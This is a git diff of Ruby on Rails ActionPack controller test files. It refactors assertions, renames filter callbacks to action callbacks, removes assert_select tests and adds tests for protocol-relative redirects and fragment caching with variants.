diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
index 22a410db94..21586e2193 100644
--- a/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -1,5 +1,4 @@
 require 'abstract_unit'
-require 'action_view/vendor/html-scanner'
 require 'controller/fake_controllers'
 
 class ActionPackAssertionsController < ActionController::Base
@@ -39,6 +38,8 @@ class ActionPackAssertionsController < ActionController::Base
 
   def redirect_external() redirect_to "http://www.rubyonrails.org"; end
 
+  def redirect_external_protocol_relative() redirect_to "//www.rubyonrails.org"; end
+
   def response404() head '404 AWOL' end
 
   def response500() head '500 Sorry' end
@@ -145,11 +146,6 @@ end
 
 class ActionPackAssertionsControllerTest < ActionController::TestCase
 
-  def test_assert_tag_and_url_for
-    get :render_url
-    assert_tag :content => "/action_pack_assertions/flash_me"
-  end
-
   def test_render_file_absolute_path
     get :render_file_absolute_path
     assert_match(/\A= Action Pack/, @response.body)
@@ -163,24 +159,24 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
   def test_get_request
     assert_raise(RuntimeError) { get :raise_exception_on_get }
     get :raise_exception_on_post
-    assert_equal @response.body, 'request method: GET'
+    assert_equal 'request method: GET', @response.body
   end
 
   def test_post_request
     assert_raise(RuntimeError) { post :raise_exception_on_post }
     post :raise_exception_on_get
-    assert_equal @response.body, 'request method: POST'
+    assert_equal 'request method: POST', @response.body
   end
 
   def test_get_post_request_switch
     post :raise_exception_on_get
-    assert_equal @response.body, 'request method: POST'
+    assert_equal 'request method: POST', @response.body
     get :raise_exception_on_post
-    assert_equal @response.body, 'request method: GET'
+    assert_equal 'request method: GET', @response.body
     post :raise_exception_on_get
-    assert_equal @response.body, 'request method: POST'
+    assert_equal 'request method: POST', @response.body
     get :raise_exception_on_post
-    assert_equal @response.body, 'request method: GET'
+    assert_equal 'request method: GET', @response.body
   end
 
   def test_string_constraint
@@ -258,6 +254,19 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
     end
   end
 
+  def test_assert_redirect_failure_message_with_protocol_relative_url
+    begin
+      process :redirect_external_protocol_relative
+      assert_redirected_to "/foo"
+    rescue ActiveSupport::TestCase::Assertion => ex
+      assert_no_match(
+        /#{request.protocol}#{request.host}\/\/www.rubyonrails.org/,
+        ex.message,
+        'protocol relative url was incorrectly normalized'
+      )
+    end
+  end
+
   def test_template_objects_exist
     process :assign_this
     assert !@controller.instance_variable_defined?(:"@hi")
@@ -287,7 +296,7 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
 
   def test_session_exist
     process :session_stuffing
-    assert_equal session['xmas'], 'turkey'
+    assert_equal 'turkey', session['xmas']
   end
 
   def session_does_not_exist
@@ -309,6 +318,9 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
 
     process :redirect_external
     assert_equal 'http://www.rubyonrails.org', @response.redirect_url
+
+    process :redirect_external_protocol_relative
+    assert_equal '//www.rubyonrails.org', @response.redirect_url
   end
 
   def test_no_redirect_url
@@ -366,7 +378,9 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
   end
 
   def test_render_based_on_parameters
-    process :render_based_on_parameters, "GET", "name" => "David"
+    process :render_based_on_parameters,
+      method: "GET",
+      params: { name: "David" }
     assert_equal "Mr. David", @response.body
   end
 
@@ -426,22 +440,18 @@ class ActionPackAssertionsControllerTest < ActionController::TestCase
 
   def test_assert_response_uses_exception_message
     @controller = AssertResponseWithUnexpectedErrorController.new
-    get :index
+    e = assert_raise RuntimeError, 'Expected non-success response' do
+      get :index
+    end
     assert_response :success
-    flunk 'Expected non-success response'
-  rescue RuntimeError => e
-    assert e.message.include?('FAIL')
+    assert_includes 'FAIL', e.message
   end
 
   def test_assert_response_failure_response_with_no_exception
     @controller = AssertResponseWithUnexpectedErrorController.new
     get :show
-    assert_response :success
-    flunk 'Expected non-success response'
-  rescue ActiveSupport::TestCase::Assertion
-    # success
-  rescue
-    flunk "assert_response failed to handle failure response with missing, but optional, exception."
+    assert_response 500
+    assert_equal 'Boom', response.body
   end
 end
 
@@ -474,6 +484,11 @@ class AssertTemplateTest < ActionController::TestCase
     assert_raise(ActiveSupport::TestCase::Assertion) do
       assert_template :file => 'test/hello_world'
     end
+
+    get :render_file_absolute_path
+    assert_raise(ActiveSupport::TestCase::Assertion) do
+      assert_template file: nil
+    end
   end
 
   def test_with_nil_passes_when_no_template_rendered
@@ -562,6 +577,13 @@ class AssertTemplateTest < ActionController::TestCase
     end
   end
 
+  def test_fails_expecting_not_known_layout
+    get :render_with_layout
+    assert_raise(ArgumentError) do
+      assert_template :layout => 1
+    end
+  end
+
   def test_passes_with_correct_layout
     get :render_with_layout
     assert_template :layout => "layouts/standard"
@@ -598,6 +620,24 @@ class AssertTemplateTest < ActionController::TestCase
 
     get :nothing
     assert_template nil
+
+    get :partial
+    assert_template partial: 'test/_partial'
+
+    get :nothing
+    assert_template partial: nil
+
+    get :render_with_layout
+    assert_template layout: 'layouts/standard'
+
+    get :nothing
+    assert_template layout: nil
+
+    get :render_file_relative_path
+    assert_template file: 'README.rdoc'
+
+    get :nothing
+    assert_template file: nil
   end
 end
 
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
deleted file mode 100644
index 114bbf3c22..0000000000
--- a/actionpack/test/controller/assert_select_test.rb
+++ /dev/null
@@ -1,351 +0,0 @@
-# encoding: utf-8
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-require 'action_mailer'
-require 'action_view'
-
-ActionMailer::Base.send(:include, ActionView::Layouts)
-ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
-
-class AssertSelectTest < ActionController::TestCase
-  Assertion = ActiveSupport::TestCase::Assertion
-
-  class AssertSelectMailer < ActionMailer::Base
-    def test(html)
-      mail :body => html, :content_type => "text/html",
-        :subject => "Test e-mail", :from => "test@test.host", :to => "test <test@test.host>"
-    end
-  end
-
-  class AssertMultipartSelectMailer < ActionMailer::Base
-    def test(options)
-      mail :subject => "Test e-mail", :from => "test@test.host", :to => "test <test@test.host>" do |format|
-        format.text { render :text => options[:text] }
-        format.html { render :text => options[:html] }
-      end
-    end
-  end
-
-  class AssertSelectController < ActionController::Base
-    def response_with=(content)
-      @content = content
-    end
-
-    def response_with(&block)
-      @update = block
-    end
-
-    def html()
-      render :text=>@content, :layout=>false, :content_type=>Mime::HTML
-      @content = nil
-    end
-
-    def xml()
-      render :text=>@content, :layout=>false, :content_type=>Mime::XML
-      @content = nil
-    end
-  end
-
-  tests AssertSelectController
-
-  def setup
-    super
-    ActionMailer::Base.delivery_method = :test
-    ActionMailer::Base.perform_deliveries = true
-    ActionMailer::Base.deliveries = []
-  end
-
-  def teardown
-    super
-    ActionMailer::Base.deliveries.clear
-  end
-
-  def assert_failure(message, &block)
-    e = assert_raise(Assertion, &block)
-    assert_match(message, e.message) if Regexp === message
-    assert_equal(message, e.message) if String === message
-  end
-
-  #
-  # Test assert select.
-  #
-
-  def test_assert_select
-    render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_select "div", 2
-    assert_failure(/Expected at least 1 element matching \"p\", found 0/) { assert_select "p" }
-  end
-
-  def test_equality_integer
-    render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) { assert_select "div", 3 }
-    assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", 0 }
-  end
-
-  def test_equality_true_false
-    render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_nothing_raised    { assert_select "div" }
-    assert_raise(Assertion) { assert_select "p" }
-    assert_nothing_raised    { assert_select "div", true }
-    assert_raise(Assertion) { assert_select "p", true }
-    assert_raise(Assertion) { assert_select "div", false }
-    assert_nothing_raised    { assert_select "p", false }
-  end
-
-  def test_equality_false_message
-    render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_failure(/Expected exactly 0 elements matching \"div\", found 2/) { assert_select "div", false }
-  end
-
-  def test_equality_string_and_regexp
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_nothing_raised    { assert_select "div", "foo" }
-    assert_raise(Assertion) { assert_select "div", "bar" }
-    assert_nothing_raised    { assert_select "div", :text=>"foo" }
-    assert_raise(Assertion) { assert_select "div", :text=>"bar" }
-    assert_nothing_raised    { assert_select "div", /(foo|bar)/ }
-    assert_raise(Assertion) { assert_select "div", /foobar/ }
-    assert_nothing_raised    { assert_select "div", :text=>/(foo|bar)/ }
-    assert_raise(Assertion) { assert_select "div", :text=>/foobar/ }
-    assert_raise(Assertion) { assert_select "p", :text=>/foobar/ }
-  end
-
-  def test_equality_of_html
-    render_html %Q{<p>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</p>}
-    text = "\"This is not a big problem,\" he said."
-    html = "<em>\"This is <strong>not</strong> a big problem,\"</em> he said."
-    assert_nothing_raised    { assert_select "p", text }
-    assert_raise(Assertion) { assert_select "p", html }
-    assert_nothing_raised    { assert_select "p", :html=>html }
-    assert_raise(Assertion) { assert_select "p", :html=>text }
-    # No stripping for pre.
-    render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
-    text = "\n\"This is not a big problem,\" he said.\n"
-    html = "\n<em>\"This is <strong>not</strong> a big problem,\"</em> he said.\n"
-    assert_nothing_raised    { assert_select "pre", text }
-    assert_raise(Assertion) { assert_select "pre", html }
-    assert_nothing_raised    { assert_select "pre", :html=>html }
-    assert_raise(Assertion) { assert_select "pre", :html=>text }
-  end
-
-  def test_strip_textarea
-    render_html %Q{<textarea>\n\nfoo\n</textarea>}
-    assert_select "textarea", "\nfoo\n"
-    render_html %Q{<textarea>\nfoo</textarea>}
-    assert_select "textarea", "foo"
-  end
-
-  def test_counts
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_nothing_raised               { assert_select "div", 2 }
-    assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
-      assert_select "div", 3
-    end
-    assert_nothing_raised               { assert_select "div", 1..2 }
-    assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
-      assert_select "div", 3..4
-    end
-    assert_nothing_raised               { assert_select "div", :count=>2 }
-    assert_failure(/Expected exactly 3 elements matching \"div\", found 2/) do
-      assert_select "div", :count=>3
-    end
-    assert_nothing_raised               { assert_select "div", :minimum=>1 }
-    assert_nothing_raised               { assert_select "div", :minimum=>2 }
-    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
-      assert_select "div", :minimum=>3
-    end
-    assert_nothing_raised               { assert_select "div", :maximum=>2 }
-    assert_nothing_raised               { assert_select "div", :maximum=>3 }
-    assert_failure(/Expected at most 1 element matching \"div\", found 2/) do
-      assert_select "div", :maximum=>1
-    end
-    assert_nothing_raised               { assert_select "div", :minimum=>1, :maximum=>2 }
-    assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
-      assert_select "div", :minimum=>3, :maximum=>4
-    end
-  end
-
-  def test_substitution_values
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_select "div#?", /\d+/ do |elements|
-      assert_equal 2, elements.size
-    end
-    assert_select "div" do
-      assert_select "div#?", /\d+/ do |elements|
-        assert_equal 2, elements.size
-        assert_select "#1"
-        assert_select "#2"
-      end
-    end
-  end
-
-  def test_nested_assert_select
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_select "div" do |elements|
-      assert_equal 2, elements.size
-      assert_select elements[0], "#1"
-      assert_select elements[1], "#2"
-    end
-    assert_select "div" do
-      assert_select "div" do |elements|
-        assert_equal 2, elements.size
-        # Testing in a group is one thing
-        assert_select "#1,#2"
-        # Testing individually is another.
-        assert_select "#1"
-        assert_select "#2"
-        assert_select "#3", false
-      end
-    end
-
-    assert_failure(/Expected at least 1 element matching \"#4\", found 0\./) do
-      assert_select "div" do
-        assert_select "#4"
-      end
-    end
-  end
-
-  def test_assert_select_text_match
-    render_html %Q{<div id="1"><span>foo</span></div><div id="2"><span>bar</span></div>}
-    assert_select "div" do
-      assert_nothing_raised    { assert_select "div", "foo" }
-      assert_nothing_raised    { assert_select "div", "bar" }
-      assert_nothing_raised    { assert_select "div", /\w*/ }
-      assert_nothing_raised    { assert_select "div", :text => /\w*/, :count=>2 }
-      assert_raise(Assertion)  { assert_select "div", :text=>"foo", :count=>2 }
-      assert_nothing_raised    { assert_select "div", :html=>"<span>bar</span>" }
-      assert_nothing_raised    { assert_select "div", :html=>"<span>bar</span>" }
-      assert_nothing_raised    { assert_select "div", :html=>/\w*/ }
-      assert_nothing_raised    { assert_select "div", :html=>/\w*/, :count=>2 }
-      assert_raise(Assertion)  { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
-    end
-  end
-
-  def test_elect_with_xml_namespace_attributes
-    render_html %Q{<link xlink:href="http://nowhere.com"></link>}
-    assert_nothing_raised { assert_select "link[xlink:href=http://nowhere.com]" }
-  end
-
-  #
-  # Test css_select.
-  #
-
-  def test_css_select
-    render_html %Q{<div id="1"></div><div id="2"></div>}
-    assert_equal 2, css_select("div").size
-    assert_equal 0, css_select("p").size
-  end
-
-  def test_nested_css_select
-    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
-    assert_select "div#?", /\d+/ do |elements|
-      assert_equal 1, css_select(elements[0], "div").size
-      assert_equal 1, css_select(elements[1], "div").size
-    end
-    assert_select "div" do
-      assert_equal 2, css_select("div").size
-      css_select("div").each do |element|
-        # Testing as a group is one thing
-        assert !css_select("#1,#2").empty?
-        # Testing individually is another
-        assert !css_select("#1").empty?
-        assert !css_select("#2").empty?
-      end
-    end
-  end
-
-  def test_feed_item_encoded
-    render_xml <<-EOF
-<rss version="2.0">
-  <channel>
-    <item>
-      <description>
-        <![CDATA[
-          <p>Test 1</p>
-        ]]>
-      </description>
-    </item>
-    <item>
-      <description>
-        <![CDATA[
-          <p>Test 2</p>
-        ]]>
-      </description>
-    </item>
-  </channel>
-</rss>
-EOF
-    assert_select "channel item description" do
-      # Test element regardless of wrapper.
-      assert_select_encoded do
-        assert_select "p", :count=>2, :text=>/Test/
-      end
-      # Test through encoded wrapper.
-      assert_select_encoded do
-        assert_select "encoded p", :count=>2, :text=>/Test/
-      end
-      # Use :root instead (recommended)
-      assert_select_encoded do
-        assert_select ":root p", :count=>2, :text=>/Test/
-      end
-      # Test individually.
-      assert_select "description" do |elements|
-        assert_select_encoded elements[0] do
-          assert_select "p", "Test 1"
-        end
-        assert_select_encoded elements[1] do
-          assert_select "p", "Test 2"
-        end
-      end
-    end
-
-    # Test that we only un-encode element itself.
-    assert_select "channel item" do
-      assert_select_encoded do
-        assert_select "p", 0
-      end
-    end
-  end
-
-  #
-  # Test assert_select_email
-  #
-
-  def test_assert_select_email
-    assert_raise(Assertion) { assert_select_email {} }
-    AssertSelectMailer.test("<div><p>foo</p><p>bar</p></div>").deliver
-    assert_select_email do
-      assert_select "div:root" do
-        assert_select "p:first-child", "foo"
-        assert_select "p:last-child", "bar"
-      end
-    end
-  end
-
-  def test_assert_select_email_multipart
-    AssertMultipartSelectMailer.test(:html => "<div><p>foo</p><p>bar</p></div>", :text => 'foo bar').deliver
-    assert_select_email do
-      assert_select "div:root" do
-        assert_select "p:first-child", "foo"
-        assert_select "p:last-child", "bar"
-      end
-    end
-  end
-
-  protected
-    def render_html(html)
-      @controller.response_with = html
-      get :html
-    end
-
-    def render_xml(xml)
-      @controller.response_with = xml
-      get :xml
-    end
-end
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
index b2bfdae174..f7ad8e5158 100644
--- a/actionpack/test/controller/base_test.rb
+++ b/actionpack/test/controller/base_test.rb
@@ -1,31 +1,11 @@
 require 'abstract_unit'
 require 'active_support/logger'
 require 'controller/fake_models'
-require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
 
 # Provide some controller to run the tests on.
 module Submodule
   class ContainedEmptyController < ActionController::Base
   end
-
-  class ContainedNonEmptyController < ActionController::Base
-    def public_action
-      render :nothing => true
-    end
-
-    hide_action :hidden_action
-    def hidden_action
-      raise "Noooo!"
-    end
-
-    def another_hidden_action
-    end
-    hide_action :another_hidden_action
-  end
-
-  class SubclassedController < ContainedNonEmptyController
-    hide_action :public_action # Hiding it here should not affect the superclass.
-  end
 end
 
 class EmptyController < ActionController::Base
@@ -35,10 +15,6 @@ class NonEmptyController < ActionController::Base
   def public_action
     render :nothing => true
   end
-
-  hide_action :hidden_action
-  def hidden_action
-  end
 end
 
 class DefaultUrlOptionsController < ActionController::Base
@@ -51,6 +27,16 @@ class DefaultUrlOptionsController < ActionController::Base
   end
 end
 
+class OptionalDefaultUrlOptionsController < ActionController::Base
+  def show
+    render nothing: true
+  end
+
+  def default_url_options
+    { format: 'atom', id: 'default-id' }
+  end
+end
+
 class UrlOptionsController < ActionController::Base
   def from_view
     render :inline => "<%= #{params[:route]} %>"
@@ -108,10 +94,7 @@ class ControllerInstanceTests < ActiveSupport::TestCase
   def setup
     @empty = EmptyController.new
     @contained = Submodule::ContainedEmptyController.new
-    @empty_controllers = [@empty, @contained, Submodule::SubclassedController.new]
-
-    @non_empty_controllers = [NonEmptyController.new,
-                              Submodule::ContainedNonEmptyController.new]
+    @empty_controllers = [@empty, @contained]
   end
 
   def test_performed?
@@ -124,10 +107,6 @@ class ControllerInstanceTests < ActiveSupport::TestCase
     @empty_controllers.each do |c|
       assert_equal Set.new, c.class.action_methods, "#{c.controller_path} should be empty!"
     end
-
-    @non_empty_controllers.each do |c|
-      assert_equal Set.new(%w(public_action)), c.class.action_methods, "#{c.controller_path} should not be empty!"
-    end
   end
 
   def test_temporary_anonymous_controllers
@@ -158,13 +137,7 @@ class PerformActionTest < ActionController::TestCase
     exception = assert_raise AbstractController::ActionNotFound do
       get :non_existent
     end
-    assert_equal exception.message, "The action 'non_existent' could not be found for EmptyController"
-  end
-
-  def test_get_on_hidden_should_fail
-    use_controller NonEmptyController
-    assert_raise(AbstractController::ActionNotFound) { get :hidden_action }
-    assert_raise(AbstractController::ActionNotFound) { get :another_hidden_action }
+    assert_equal "The action 'non_existent' could not be found for EmptyController", exception.message
   end
 
   def test_action_missing_should_work
@@ -205,7 +178,7 @@ class UrlOptionsTest < ActionController::TestCase
         get ':controller/:action'
       end
 
-      get :from_view, :route => "from_view_url"
+      get :from_view, params: { route: "from_view_url" }
 
       assert_equal 'http://www.override.com/from_view', @response.body
       assert_equal 'http://www.override.com/from_view', @controller.send(:from_view_url)
@@ -239,7 +212,7 @@ class DefaultUrlOptionsTest < ActionController::TestCase
         get ':controller/:action'
       end
 
-      get :from_view, :route => "from_view_url"
+      get :from_view, params: { route: "from_view_url" }
 
       assert_equal 'http://www.override.com/from_view?locale=en', @response.body
       assert_equal 'http://www.override.com/from_view?locale=en', @controller.send(:from_view_url)
@@ -256,7 +229,7 @@ class DefaultUrlOptionsTest < ActionController::TestCase
         get ':controller/:action'
       end
 
-      get :from_view, :route => "description_path(1)"
+      get :from_view, params: { route: "description_path(1)" }
 
       assert_equal '/en/descriptions/1', @response.body
       assert_equal '/en/descriptions', @controller.send(:descriptions_path)
@@ -271,7 +244,18 @@ class DefaultUrlOptionsTest < ActionController::TestCase
       assert_equal '/en/descriptions/1.xml', @controller.send(:description_path, 1, :format => "xml")
     end
   end
+end
 
+class OptionalDefaultUrlOptionsControllerTest < ActionController::TestCase
+  def test_default_url_options_override_missing_positional_arguments
+    with_routing do |set|
+      set.draw do
+        get "/things/:id(.:format)" => 'things#show', :as => :thing
+      end
+      assert_equal '/things/1.atom', thing_path('1')
+      assert_equal '/things/default-id.atom', thing_path
+    end
+  end
 end
 
 class EmptyUrlOptionsTest < ActionController::TestCase
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index a67dff5436..4760ec1698 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -20,7 +20,7 @@ class FragmentCachingMetalTest < ActionController::TestCase
     @controller = FragmentCachingMetalTestController.new
     @controller.perform_caching = true
     @controller.cache_store = @store
-    @params = { controller: 'posts', action: 'index'}
+    @params = { controller: 'posts', action: 'index' }
     @request = ActionController::TestRequest.new
     @response = ActionController::TestResponse.new
     @controller.params = @params
@@ -40,7 +40,7 @@ class CachingController < ActionController::Base
 end
 
 class FragmentCachingTestController < CachingController
-  def some_action; end;
+  def some_action; end
 end
 
 class FragmentCachingTest < ActionController::TestCase
@@ -164,6 +164,13 @@ class FunctionalCachingController < CachingController
     end
   end
 
+  def formatted_fragment_cached_with_variant
+    respond_to do |format|
+      format.html.phone
+      format.html
+    end
+  end
+
   def fragment_cached_without_digest
   end
 end
@@ -190,7 +197,7 @@ CACHED
     assert_equal expected_body, @response.body
 
     assert_equal "This bit's fragment cached",
-      @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached", "html")}")
+      @store.read("views/test.host/functional_caching/fragment_cached/#{template_digest("functional_caching/fragment_cached")}")
   end
 
   def test_fragment_caching_in_partials
@@ -199,11 +206,11 @@ CACHED
     assert_match(/Old fragment caching in a partial/, @response.body)
 
     assert_match("Old fragment caching in a partial",
-      @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial", "html")}"))
+      @store.read("views/test.host/functional_caching/html_fragment_cached_with_partial/#{template_digest("functional_caching/_partial")}"))
   end
 
   def test_skipping_fragment_cache_digesting
-    get :fragment_cached_without_digest, :format => "html"
+    get :fragment_cached_without_digest, format: "html"
     assert_response :success
     expected_body = "<body>\n<p>ERB</p>\n</body>\n"
 
@@ -217,34 +224,64 @@ CACHED
     assert_match(/Some inline content/, @response.body)
     assert_match(/Some cached content/, @response.body)
     assert_match("Some cached content",
-      @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached", "html")}"))
+      @store.read("views/test.host/functional_caching/inline_fragment_cached/#{template_digest("functional_caching/inline_fragment_cached")}"))
+  end
+
+  def test_fragment_cache_instrumentation
+    payload = nil
+
+    subscriber = proc do |*args|
+      event = ActiveSupport::Notifications::Event.new(*args)
+      payload = event.payload
+    end
+
+    ActiveSupport::Notifications.subscribed(subscriber, "read_fragment.action_controller") do
+      get :inline_fragment_cached
+    end
+
+    assert_equal "functional_caching", payload[:controller]
+    assert_equal "inline_fragment_cached", payload[:action]
   end
 
   def test_html_formatted_fragment_caching
-    get :formatted_fragment_cached, :format => "html"
+    get :formatted_fragment_cached, format: "html"
     assert_response :success
     expected_body = "<body>\n<p>ERB</p>\n</body>\n"
 
     assert_equal expected_body, @response.body
 
     assert_equal "<p>ERB</p>",
-      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "html")}")
+      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
   end
 
   def test_xml_formatted_fragment_caching
-    get :formatted_fragment_cached, :format => "xml"
+    get :formatted_fragment_cached, format: "xml"
     assert_response :success
     expected_body = "<body>\n  <p>Builder</p>\n</body>\n"
 
     assert_equal expected_body, @response.body
 
     assert_equal "  <p>Builder</p>\n",
-      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached", "xml")}")
+      @store.read("views/test.host/functional_caching/formatted_fragment_cached/#{template_digest("functional_caching/formatted_fragment_cached")}")
+  end
+
+
+  def test_fragment_caching_with_variant
+    @request.variant = :phone
+
+    get :formatted_fragment_cached_with_variant, format: "html"
+    assert_response :success
+    expected_body = "<body>\n<p>PHONE</p>\n</body>\n"
+
+    assert_equal expected_body, @response.body
+
+    assert_equal "<p>PHONE</p>",
+      @store.read("views/test.host/functional_caching/formatted_fragment_cached_with_variant/#{template_digest("functional_caching/formatted_fragment_cached_with_variant")}")
   end
 
   private
-    def template_digest(name, format)
-      ActionView::Digestor.digest(name, format, @controller.lookup_context)
+    def template_digest(name)
+      ActionView::Digestor.digest(name: name, finder: @controller.lookup_context)
     end
 end
 
diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb
index 03d5d27cf4..89667df3a4 100644
--- a/actionpack/test/controller/content_type_test.rb
+++ b/actionpack/test/controller/content_type_test.rb
@@ -68,12 +68,11 @@ class ContentTypeTest < ActionController::TestCase
   end
 
   def test_render_changed_charset_default
-    ActionDispatch::Response.default_charset = "utf-16"
-    get :render_defaults
-    assert_equal "utf-16", @response.charset
-    assert_equal Mime::HTML, @response.content_type
-  ensure
-    ActionDispatch::Response.default_charset = "utf-8"
+    with_default_charset "utf-16" do
+      get :render_defaults
+      assert_equal "utf-16", @response.charset
+      assert_equal Mime::HTML, @response.content_type
+    end
   end
 
   # :ported:
@@ -105,12 +104,11 @@ class ContentTypeTest < ActionController::TestCase
   end
 
   def test_nil_default_for_erb
-    ActionDispatch::Response.default_charset = nil
-    get :render_default_for_erb
-    assert_equal Mime::HTML, @response.content_type
-    assert_nil @response.charset, @response.headers.inspect
-  ensure
-    ActionDispatch::Response.default_charset = "utf-8"
+    with_default_charset nil do
+      get :render_default_for_erb
+      assert_equal Mime::HTML, @response.content_type
+      assert_nil @response.charset, @response.headers.inspect
+    end
   end
 
   def test_default_for_erb
@@ -130,6 +128,16 @@ class ContentTypeTest < ActionController::TestCase
     assert_equal Mime::HTML, @response.content_type
     assert_equal "utf-8", @response.charset
   end
+
+  private
+
+  def with_default_charset(charset)
+    old_default_charset = ActionDispatch::Response.default_charset
+    ActionDispatch::Response.default_charset = charset
+    yield
+  ensure
+    ActionDispatch::Response.default_charset = old_default_charset
+  end
 end
 
 class AcceptBasedContentTypeTest < ActionController::TestCase
diff --git a/actionpack/test/controller/default_url_options_with_before_action_test.rb b/actionpack/test/controller/default_url_options_with_before_action_test.rb
index 656fd0431e..230f40d7ad 100644
--- a/actionpack/test/controller/default_url_options_with_before_action_test.rb
+++ b/actionpack/test/controller/default_url_options_with_before_action_test.rb
@@ -1,6 +1,5 @@
 require 'abstract_unit'
 
-
 class ControllerWithBeforeActionAndDefaultUrlOptions < ActionController::Base
 
   before_action { I18n.locale = params[:locale] }
@@ -23,7 +22,7 @@ class ControllerWithBeforeActionAndDefaultUrlOptionsTest < ActionController::Tes
 
   # This test has its roots in issue #1872
   test "should redirect with correct locale :de" do
-    get :redirect, :locale => "de"
+    get :redirect, params: { locale: "de" }
     assert_redirected_to "/controller_with_before_action_and_default_url_options/target?locale=de"
   end
 end
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index e58a1aadb8..b9fb6be4e3 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -2,22 +2,22 @@ require 'abstract_unit'
 
 class ActionController::Base
   class << self
-    %w(append_around_filter prepend_after_filter prepend_around_filter prepend_before_filter skip_after_filter skip_before_filter skip_filter).each do |pending|
+    %w(append_around_action prepend_after_action prepend_around_action prepend_before_action skip_after_action skip_before_action skip_action_callback).each do |pending|
       define_method(pending) do |*args|
         $stderr.puts "#{pending} unimplemented: #{args.inspect}"
       end unless method_defined?(pending)
     end
 
-    def before_filters
+    def before_actions
       filters = _process_action_callbacks.select { |c| c.kind == :before }
-      filters.map! { |c| c.raw_filter }
+      filters.map!(&:raw_filter)
     end
   end
 
   def assigns(key = nil)
     assigns = {}
     instance_variables.each do |ivar|
-      next if ActionController::Base.default_protected_instance_vars.include?(ivar)
+      next if ActionController::Base.protected_instance_variables.include?(ivar)
       assigns[ivar[1..-1]] = instance_variable_get(ivar)
     end
 
@@ -28,8 +28,8 @@ end
 class FilterTest < ActionController::TestCase
 
   class TestController < ActionController::Base
-    before_filter :ensure_login
-    after_filter  :clean_up
+    before_action :ensure_login
+    after_action  :clean_up
 
     def show
       render :inline => "ran action"
@@ -42,13 +42,13 @@ class FilterTest < ActionController::TestCase
       end
 
       def clean_up
-        @ran_after_filter ||= []
-        @ran_after_filter << "clean_up"
+        @ran_after_action ||= []
+        @ran_after_action << "clean_up"
       end
   end
 
   class ChangingTheRequirementsController < TestController
-    before_filter :ensure_login, :except => [:go_wild]
+    before_action :ensure_login, :except => [:go_wild]
 
     def go_wild
       render :text => "gobble"
@@ -56,9 +56,9 @@ class FilterTest < ActionController::TestCase
   end
 
   class TestMultipleFiltersController < ActionController::Base
-    before_filter :try_1
-    before_filter :try_2
-    before_filter :try_3
+    before_action :try_1
+    before_action :try_2
+    before_action :try_3
 
     (1..3).each do |i|
       define_method "fail_#{i}" do
@@ -78,8 +78,8 @@ class FilterTest < ActionController::TestCase
   end
 
   class RenderingController < ActionController::Base
-    before_filter :before_filter_rendering
-    after_filter :unreached_after_filter
+    before_action :before_action_rendering
+    after_action :unreached_after_action
 
     def show
       @ran_action = true
@@ -87,29 +87,29 @@ class FilterTest < ActionController::TestCase
     end
 
     private
-      def before_filter_rendering
+      def before_action_rendering
         @ran_filter ||= []
-        @ran_filter << "before_filter_rendering"
+        @ran_filter << "before_action_rendering"
         render :inline => "something else"
       end
 
-      def unreached_after_filter
-        @ran_filter << "unreached_after_filter_after_render"
+      def unreached_after_action
+        @ran_filter << "unreached_after_action_after_render"
       end
   end
 
-  class RenderingForPrependAfterFilterController < RenderingController
-    prepend_after_filter :unreached_prepend_after_filter
+  class RenderingForPrependAfterActionController < RenderingController
+    prepend_after_action :unreached_prepend_after_action
 
     private
-      def unreached_prepend_after_filter
-        @ran_filter << "unreached_preprend_after_filter_after_render"
+      def unreached_prepend_after_action
+        @ran_filter << "unreached_preprend_after_action_after_render"
       end
   end
